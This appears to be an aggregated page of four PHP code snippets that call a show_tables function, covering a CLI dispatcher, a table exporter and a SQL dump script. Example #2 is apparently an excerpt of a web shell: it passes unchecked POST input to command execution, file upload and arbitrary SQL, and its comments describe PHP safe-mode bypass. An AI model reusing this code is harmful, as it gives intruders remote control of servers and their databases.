示例#1
0
    die;
}
if ($argv[1] == '--members') {
    members_hours();
    die;
}
if ($argv[1] == '--members-month') {
    members_month();
    die;
}
if ($argv[1] == '--parse-cacheperfs') {
    squid_cache_perfs();
    die;
}
if ($argv[1] == '--show-tables') {
    show_tables();
    die;
}
if ($argv[1] == '--tables') {
    $q = new mysql();
    $q->CheckTablesSquid();
    die;
}
if ($argv[1] == '--members-month-kill') {
    members_month_delete();
    exit;
}
if ($argv[1] == '--fix-tables') {
    $GLOBALS["Q"]->FixTables();
    exit;
}
示例#2
0
     $res = ex("whereis " . $_POST['ffile']);
 } elseif ($_POST['b_upload']) {
     $s = "Uploading file " . $_POST['lfilename'] . " use the " . $box;
     $res = up_file($_POST['lfilename'], $_POST['tfilename'], $_POST['box']);
 } elseif ($_POST['b_mydb']) {
     //Выводим список БД
     $s = "show_exists_db";
     $res = db_show($_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_runsql']) {
     //Выполняем SQL запрос
     $s = "SQL: " . $sql;
     $res = run_sql($_POST['sql'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_base']) {
     //Выводим список таблиц
     $s = "show_exists_tables";
     $res = show_tables($_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_table']) {
     //Выводим дамп таблицы
     $s = "Dump of " . $_POST['tablename'];
     $tablename = $_POST['tablename'];
     if ($tablename != "") {
         $res = dump_table($_POST['tablename'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
     } else {
         $res = "Select table!";
     }
 } elseif ($_POST['b_safe_fuck']) {
     //Обход безопасного режима
     $s = "Open file " . $sfilename . " with MySQL:";
     $res = safe_mode_fuck($_POST['sfilename'], $_POST['host'], $_POST['username'], $_POST['pass'], $_POST['dbname']);
 } elseif ($_POST['b_dfilename']) {
     //Обход безопасного режима
示例#3
0
 /**
  * Call the function to show table data or to show the resulting data
  * @param none
  */
 function export_data()
 {
     if (is_array($_POST) && isset($_POST['submit'])) {
         // The form is submitted, print out the selected data
         $form = $_POST;
         $xml = $form['type'] == 'xml';
         // XML or CSV format
         // Build the query for each table to output
         foreach ($form as $key => $val) {
             if ($key == 'table') {
                 // table[] checkbox
                 for ($i = 0; $i < count($form[$key]); $i++) {
                     $table_name = $form[$key][$i];
                     $query = $this->build_export_query($form, $table_name);
                     $data = $this->get_export_data($query);
                     start_exported_data($xml, $table_name);
                     print_exported_data($data, $xml);
                     end_exported_data($xml, $table_name);
                 }
             }
         }
     } else {
         $tables = $this->db->db->getListOf('tables');
         for ($i = 0; $i < count($tables); $i++) {
             $result = $this->db->db->getRow('select * from ' . $this->db->get_table($tables[$i]));
             if (count($result) > 0) {
                 foreach ($result as $field => $v) {
                     $fields[$tables[$i]][] = $field;
                     // Assignment is done in the loop
                 }
             }
         }
         show_tables($tables, $fields);
     }
 }
示例#4
0
<?php

include "connexion.php";
//modification des donnees personnelew
if (isset($_POST)) {
    include '../action_bdd/action_bdd.php';
    $CheminFichier = "../export/exportDB.sql";
    touch($CheminFichier);
    $file = fopen($CheminFichier, "w");
    // Ouverture du fichier avec le mode Ècriture
    $ContenuFichier = "\n-- Dump de la base de donnees\n-- Entraide et Partage\n\n\nSET SQL_MODE = \"NO_AUTO_VALUE_ON_ZERO\";\nSET time_zone = \"+00:00\";\n\n";
    $ContenuFichier .= "--\n-- Database: `entraide`\n--\n\n-- --------------------------------------------------------\n";
    $SQL_TABLES = show_tables();
    while ($table = mysql_fetch_array($SQL_TABLES, ENT_QUOTES)) {
        // Description Table
        $SQL_DESC = desc_table($table[0]);
        $ContenuFichier .= "\n--\n-- Table structure for table `" . $table[0] . "`\n--\n\n";
        $ContenuFichier .= "DROP TABLE IF EXISTS `" . $table[0] . "`;\n";
        $ContenuFichier .= "CREATE TABLE `" . $table[0] . "` (\n";
        $records = mysql_query('SHOW FIELDS FROM `' . $table[0] . '`');
        if (mysql_num_rows($records) == 0) {
            return false;
        }
        while ($record = mysql_fetch_assoc($records)) {
            $ContenuFichier .= '  `' . $record['Field'] . '` ' . $record['Type'];
            if (@strcmp($record['Null'], 'YES') != 0) {
                $ContenuFichier .= ' NOT NULL';
            }
            if (!empty($record['Extra'])) {
                $ContenuFichier .= ' ' . $record['Extra'];
            } else {